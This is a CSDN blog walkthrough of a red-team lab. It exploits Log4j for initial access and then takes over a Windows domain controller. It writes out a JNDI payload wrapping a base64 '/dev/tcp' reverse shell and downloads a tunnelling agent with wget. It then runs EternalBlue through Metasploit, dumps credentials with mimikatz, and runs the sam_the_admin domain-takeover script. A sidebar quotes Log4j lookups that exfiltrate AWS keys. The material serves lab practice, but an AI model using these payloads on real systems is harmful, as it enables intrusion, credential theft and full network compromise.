【红队靶场】利用log4j外网打点，cve-2021-42278/87打穿域控

最新推荐文章于 2024-01-24 19:40:45 发布
最新推荐文章于 2024-01-24 19:40:45 发布
阅读量774 收藏 1
点赞数
分类专栏： 其他靶场 文章标签： log4j
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_65527369/article/details/130286719
版权

红队靶场

🎉B站配套视频：【顺手挂个三连呗】

 https://www.bilibili.com/video/BV1CT411h7uo/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

🔥系列专栏：红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间：🌴2023年5月1日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

巅峰之路

前言

本文章仅用作实验学习，仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录，不做任何导向。请勿在现实环境中模仿，操作。

环境搭建

可以直接开机开机使用，也可以按照给出的静态IP配置对应的虚拟网卡做分割

在这里插入图片描述

信息收集

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.251

直接用nmao扫常用端口或者先使用masscan再使用nmap都可

在这里插入图片描述
开放两个端口，22以及38080

38080服务探测

非常非常明显的log4j

在这里插入图片描述可以详细看看下面的文章

https://blog.csdn.net/Jietewang/article/details/122032174

CVE-2021-44228验证以及利用

开始验证
抓包进行修改，，漏洞点在POST体的/hello
如图：
并且加入payload如下

payload=${jndi:ldap://7mjkro.dnslog.cn/exp}
7mjkro.dnslog.cn是我们在dnslog平台申请的域名

同时http报文部分要加入：

Content-Type: application/x-www-form-urlencoded

来使得POST数据内容被解析
在这里插入图片描述dnslog平台成功出现数据外带
而后修改post数据部分如下

1. 这是我们原始payload,用于反弹shell
bash -i >& /dev/tcp/192.168.74.136/9999 0>&1
2. 经过base64后如下
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA+JjE=
3. 对其中的特殊符号例如=，+进行两次的url编码
%253d->=
%252b->+
更改后如下
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA%252bJjE%253d
4. 使用如下攻击链
TomcatBypass/Command/Base64
5. 那么最终payload如下
payload=${jndi:ldap://192.168.74.136:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjEzNi85OTk5IDA%252bJjE%253d}

而后我们开启ldap服务器

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i ip
开启之后bp发包

而后本地nc开启等待，可以ctrl+c取消几次，有时候会卡住

这里可以看到已经成功反弹回来了
在这里插入图片描述
进行了检查，发现了是一个docker环境，尝试了一些办法没有办法进行逃逸

cat /proc/1/cgroup
https://blog.csdn.net/whatday/article/details/104107928

所以去到了/root下看看有没有什么敏感文件，发现了flag.txt

cat /root/flag.txt

可以看到有信息，一个凭证，鉴于机器开启了22端口，我们尝试用这个凭证连接目标

ssh saul@192.168.74.134

接着进行信息收集

ifconfig
等等
这里不再赘述

同时利用bash，简单的对内网进行探测

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

发现了新的目标
这里我们使用stowaway上传一个隧道工具

Stowaway使用

基本参数
其它参数

上传的话直接本地kali开启一个简单http

python3 -m http.server 80

而后在已控主机

wget http://[ip]:port/linux_agent

根据上面的详细的参数配置利用，并开启一个

而后msf连接sock进行探测利用

MSF探测并进行MS17-010攻击

msf6 > setg Proxies socks5:192.168.74.139:7777
Proxies => socks5:192.168.74.139:7777
msf6 > setg ReverseAllowProxy true
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options
msf6 auxiliary(scanner/smb/smb_version) > set rhost 10.0.1.7
rhost => 10.0.1.7
msf6 auxiliary(scanner/smb/smb_version) > run

使用smb进行探测，可以很快的探测到windows主机
是一个便捷的方法
在这里插入图片描述发现了一个域内的win7机器，我们直接无脑上ms17-010,使用msf内置的模块，并使用正相连接的payload

msf6 auxiliary(scanner/smb/smb_version) > use windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

在这里插入图片描述

可以看到已经成功地拿到了一个meterpreter
接下来迁移进程之后hashdump，并且尝试对DC进行攻击

meterpreter > migrate 468
[*] Migrating from 1056 to 468...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2144 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Bluetooth ��������:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Ethernet adapter �������� 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::940e:65f4:221e:aa1b%13
   IPv4 Address. . . . . . . . . . . : 10.0.0.7
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.1

Ethernet adapter ��������:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::99d1:ff29:4cda:8856%11
   IPv4 Address. . . . . . . . . . . : 10.0.1.7
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1

从上面的终端回显中我们可以看到这台机器还连通了另一张网卡，我们加载mimikatz，并且dump一下，看看有没有收获

meterpreter > load mimikatz
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
meterpreter > creds_all

tspkg credentials
=================

Username  Domain   Password
--------  ------   --------
root      REDTEAM  Red12345

去掉了没啥用的地方，我们可以看到已经获取了一个有效的域内用户凭证，接下来建立路由，并使用cve-2021-42278/87组合拳一键日穿域控
这里有朋友会问为什么要用他，这一块主要要是尝试，打域控的一个方法就是尝试高危的，符合版本的漏洞，zerologon等等都可以尝试

MSF做路由

meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > run autoroute -p
Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.0.0.0           255.255.255.0      Session 1

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 6666
SRVPORT => 6666
msf6 auxiliary(server/socks_proxy) > run

而后在/etc/proxychins4.conf修改如下

在这里插入图片描述

接下来带着代理我们去利用脚本一键getshell

https://github.com/WazeHell/sam-the-admin

proxhchains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

在这里插入图片描述
这里可以看到已经成功利用了

人间体佐菲
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
【网络安全】 利用 EHole 进行红队快速批量打点
HBohan的博客
11-04 1482
前言 最近看到了关于很多红队方面的文章，如何进行信息收集，从单一目标或多个目标中进行快速查找漏洞。今天提供一种针对较多资产或目标的情况下进行批量识别目标框架进行针对性漏洞挖掘的方式。用得好可能其它队伍还在辛辛苦苦打点的时候，你已经进内网了。【查看资料】 正文 最近 EHole 更新了3.0版本，提供了 finger 与 fofaext 参数，fofaext参数主要从fofa进行批量获取 IP 的端口情况，而 finger 则进行批量进行指纹验证识别。目前开源的指纹将近1000条，基本上都是比较常遇到的系统，
红队攻防-外网快速打点方法&技巧总结
ss810540895的博客
01-03 5915
总而言之，打点本身就是一种遍历行为，被攻击的目标就好像一个被围墙保护的城堡，红队要做的事情就是围着围墙转来转去，敲敲打打，看看围墙哪里没修好，哪里空了一块，然后趁机溜进去， 这是一个体力劳动，尤其在面对很多目标的时候，是一项繁重的体力劳动，在下文中会详细解释为什么我反复强调这是一项体力劳动。7、通过上面一番筛选，时间已经过去很久了，但是目前却毫无进展，其实心里有点郁闷，这个时候就不建议再搞了，先休息一下，调整下心态，不然后续的几天会大幅度降低工作效率，休息好了感觉又可以了，就看看下面的步骤8继续吧。
Apache Log4j 复现靶场
hackzkaq的博客
12-14 3298
`搜索公众号：白帽子左一，领配套练手靶场，全套安全课程及工具` 安全圈大动荡，新出现的漏洞危害性极大，此漏洞是可以执行任意代码，群里也流传了一句话：“这已经相当于黑客已经攻入计算机，可以为所欲为了“.很恐怖，一个漏洞的出现让多少人手忙脚乱。 新出了漏洞很多人都会想着去复现漏洞，为此掌控安全学院已经在12月10日15点上线了该漏洞靶场.点击文末”阅读原文“即可进入复现，亲测可以直接拿shell。切记要遵守网络安全法 靶场复现地址：https://hack.zkaq.cn/battle/target?id=5
红队测试之邮箱打点
weixin_44110913的博客
10-17 2029
文章目录（1）通过扫描c段找到入口（2）通过扫描子域名的的方式找到邮件入口（3）通过搜索引擎爬取钓鱼文件制作1）传统宏文件2）CHM钓鱼3）CVE-2018-21744）Windows 快捷键5）构造DDE钓鱼文档6) word 中插入外部对象(OLE)方式欺骗7) IQY特性钓鱼8）PPT 动作按钮特性构造 PPSX钓鱼9）RAR解压钓鱼 #该文章转载于酒仙六号部队，如有不便，请练习本人立即删除 随着互联网信息快速发展，办公已经离不开网络的支持。邮箱成为了人们常用的办公方式之一。 本文主要从信息收集为第一
Log4j2远程代码执行漏洞靶场复现（CVE-2021-44228）
没事我溜达
11-02 2250
logger在执行日志的时候，就会执行中间的表达式，如表达式是JNDI就会远程下载文件到本地并执行。
红队渗透打点工具-FindUpload
最新发布
03-07
【红队渗透打点工具-FindUpload】 在网络安全领域，红队渗透测试是模拟黑客攻击行为，以评估组织防御能力的一种重要方法。FindUpload作为一款红队打点工具，其核心功能在于帮助渗透测试专家有效地查找和定位网络...
GPT-4被吹爆，科学家担忧溢屏
03-29
GPT-4的横空出世，既让人兴奋，又让人沮丧。 尽管GPT-4拥有让人震惊的创造力，推理能力，但科学家们却对这项技术的安全性表示出担忧。由于OpenAI违背初衷，并未开源GPT-4、公布模型的训练方法和数据，因此它的实际...
Goby红队版-win-x64-2.4.7版本
07-27
Goby红队专版:集成1500个poc和exp ，覆盖普通版本所有功能，开箱即用 使用方式: 解压后双击goby.exe运行即可 注意事项: 最新的漏洞不可以在线更新，可自行添加poc和exp 重要的事情说三遍 不要用于非法或未授权...
网络攻防比赛平台源码（AWD-platform源码）.7z
06-19
# 红队 baji='311F8A54SV9K6B5FF4EAB20536' def getFlag(): #return ''.join(random.sample(string.ascii_letters + string.digits, 48)) m = hashlib.md5(''.join(random.sample(string.ascii_letters + string...
GOBY 红队版 GOBY205REDTEAM-1288-POCS-by-hlop-orz-zen
11-16
【标题】"GOBY 红队版"指的是一个针对红队操作的工具包或软件版本，名为GOBY，特别标记为205REDTEAM，版本号为1288，由hlop_orz_zen进行POCS（Proof of Concept，概念验证）开发。这个版本可能是一个定制的安全测试...
第71篇：某银行外网打点到内网核心区红队评估复盘
ABC_123的博客
07-26 6370
Part1 前言大家好，我是ABC_123。本期分享一篇ABC_123曾经做的针对一家银行的红队评估项目，持续时间两周，难度非常大，但是最终打到了银行核心业务区，今天就复盘一下全过程，希望红蓝双方都能得到一些启示，这也是“未知攻、焉知防”的道理。建议大家把公众号“希潭实验室”设为星标，否则可能就看不到啦！因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法：点击右上角的【...】，然...
log4j2核弹级漏洞靶场复现（反弹shell）
m0_56773673的博客
01-04 4092
十分钟log4j2靶场漏洞复现！！！
Vulhub靶场-Log4j2
weixin_69010236的博客
01-24 1228
当日志中包含 ${},lookup就会去解析括号里面的内容，如：攻击payload：${jndi:rmi:192.168.96.1:1099/wqiyua} 当lookup解析到jndi时，就会调用jndi并利用rmi，执行攻击机jndi服务下的class文件并执行，从而造成任意命令执行漏洞
红队打点总结大全
yggcwhat
09-16 4508
红队打点总结大全
log4j漏洞原理和靶场复现
Aiwin的博客
08-19 7814
log4j漏洞原理和靶场复现
Log4J2 靶场漏洞复现
weixin_47019868的博客
12-18 9902
北京时间12月9号深夜，Apache Log4j2被曝出一个高危漏洞，攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。随后官方紧急推出了2.15.0和2.15.0-rc1新版本修复，依然未能完全解决问题，现在已经更新到2.15.0-rc2（近日已推出2.16版本）。该漏洞被命名为Log4Shell，编号CVE-2021-44228。相关地址NVD - CVE-2021-44228 本次漏洞复现采用vulfocus的log4j2靶场docker 使用Kali系统进行复现实验 在Kali系统
内网打靶练习(log4j2、私钥泄露)
博客地址 www.sec0nd.top
05-20 1331
文章目录靶机背景介绍getshell (log4j2 RCE)漏洞验证存在注入的点反弹shell域渗透 靶机背景介绍 搭建靶机的过程过几天我再写，先写一下复现的过程(最近有些懒了) web服务端：centos 192.168.80.130(外) 192.168.75.130(内) 内网的主机：Windows10 192.168.75. kali攻击机：kali 192.168.80.131 getshell (log4j2 RCE) 来看一下web服务端，是一个solr框架昂 然后我们看一下so
log4j2靶场复现遇见的问题学习记录
m0_69546873的博客
09-06 1069
掌控安全log4j2靶场学习及其他log4j2靶场的延申学习
log4j利用相关
qq_38641816的博客
12-20 2170
相关payload：https://gist.github.com/am1ru1/275af8ab41b12d72b94bd18ba779c51b 信息泄露： jndi可以解析环境变量，如下所示，所以可以造成相关信息泄露 ${jndi:ldap://secruitycompassadvisory.com/version=${env:JAVA_VERSION}} 还可以利用dns把数据带出去 ${jndi:dns:// ${env:AWS_ACCESS_KEY}. ${env:AWS_SECRE
cve-2008-3005
08-12
引用中提到了一个命令行的脚本`restorepassword.py`，它是用来恢复密码的。脚本需要传入一些参数，如目标主机的IP地址和加密的密码。引用中提到了两个利用漏洞的命令，一个是反向连接的命令，另一个是正向连接的命令，用于创建一个特定的shell。引用是一个网址，它提供了有关`cve-2008-3005`漏洞的信息。根据我的理解，`cve-2008-3005`是一个已知的漏洞，但是无法确定它与前面的引用有什么直接关系。请问您对`cve-2008-3005`漏洞有什么具体的问题或者需要了解的内容吗？<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [红队常用命令速查（不断更新）](https://blog.csdn.net/Hardworking666/article/details/127479605)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值